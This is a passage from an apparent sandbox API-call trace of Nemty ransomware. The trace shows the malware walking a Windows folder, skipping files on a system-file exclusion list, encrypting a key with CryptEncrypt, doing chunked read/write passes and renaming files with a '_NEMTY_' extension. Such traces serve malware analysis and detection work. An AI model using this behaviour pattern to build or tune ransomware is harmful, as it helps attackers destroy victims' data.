(hObject=0xffffffff) returned 0 [0167.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63403f0 [0167.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0167.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0167.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0167.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0167.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404c8 [0167.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0167.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waxing-crescent.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waxing-crescent.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waxing-crescent.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waxing-crescent.png._nemty_kgobjgd_")) returned 0 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0167.463] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e74b5c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e74b5c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x32af4f5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6455, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-waxing-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0167.463] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2=".") returned 1 [0167.463] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="..") returned 1 [0167.463] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="...") returned 1 [0167.463] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="windows") returned -1 [0167.463] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="rsa") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="NTDETECT.COM") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="ntldr") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="MSDOS.SYS") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="IO.SYS") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="boot.ini") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="boot.ini") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="ntuser.dat") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="RECYCLER") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="bootmgr") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="programdata") returned 1 [0167.464] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="appdata") returned 1 [0167.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63401a8 [0167.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0167.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x6345da8, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 53 [0167.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340220 [0167.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0167.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x6345da8, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 53 [0167.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0167.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63401a8 [0167.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0167.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x6345da8, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 53 [0167.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63401a8 [0167.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0167.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0167.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x6345d60, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 53 [0167.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63401a8 [0167.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0167.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63402a0 [0167.465] Sleep (dwMilliseconds=0x5) [0167.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1778eeb0, dwHighDateTime=0x1d561e8)) [0167.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1778eeb0, dwHighDateTime=0x1d561e8)) [0167.481] GetLastError () returned 0x5 [0167.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0167.481] GetLastError () returned 0x5 [0167.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0167.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0167.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0167.481] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0167.481] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0167.482] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0167.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340398 [0167.482] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340398, pcchString=0x653e91c | out: pszString="OMYEVVrIWNxuWQ9tWZGjEgDIUAjxn+Dg1uxm1USYtf9UWSV3MGBhoodb+55QRBB5\r\nHmjT8hQqRuiCGIicFudZRquNfFczFBDF2slQGTqlOkDgsq1v0ZbBULTImanLPw1j\r\ncxPih45kbJqAnJaR7f7latY7d9v7/jjYsZwTHf0p61lxoB4qxIr0zRd7uID0OLuj\r\nsVMOfjErpYMYUpmYSYLFgddzlJF5WVAdaL1L4XBTPWs22syjY4MA19BZALvqI65Z\r\nNWyY+D7YcJNfiIhzHyRJ1/oHYJtzzbWjamGJKqNoWG+xm9hma9MVNZ7g2XiYJMnN\r\n46EPyXawJXJ3s/47Rnr6gQ==\r\n", pcchString=0x653e91c) returned 1 [0167.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0167.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340398 | out: hHeap=0x4f90000) returned 1 [0167.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0167.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0167.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340398 [0167.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0167.482] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waxing-crescent_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waxing-crescent_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0167.483] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0167.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0167.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.539] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.539] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.549] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.549] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.558] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.583] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340398, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0167.589] CloseHandle (hObject=0xffffffff) returned 0 [0167.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6343fe8 [0167.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0167.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0167.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0167.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0167.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0167.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63440e0 [0167.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63441d8 [0167.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440e0 | out: hHeap=0x4f90000) returned 1 [0167.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0167.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows 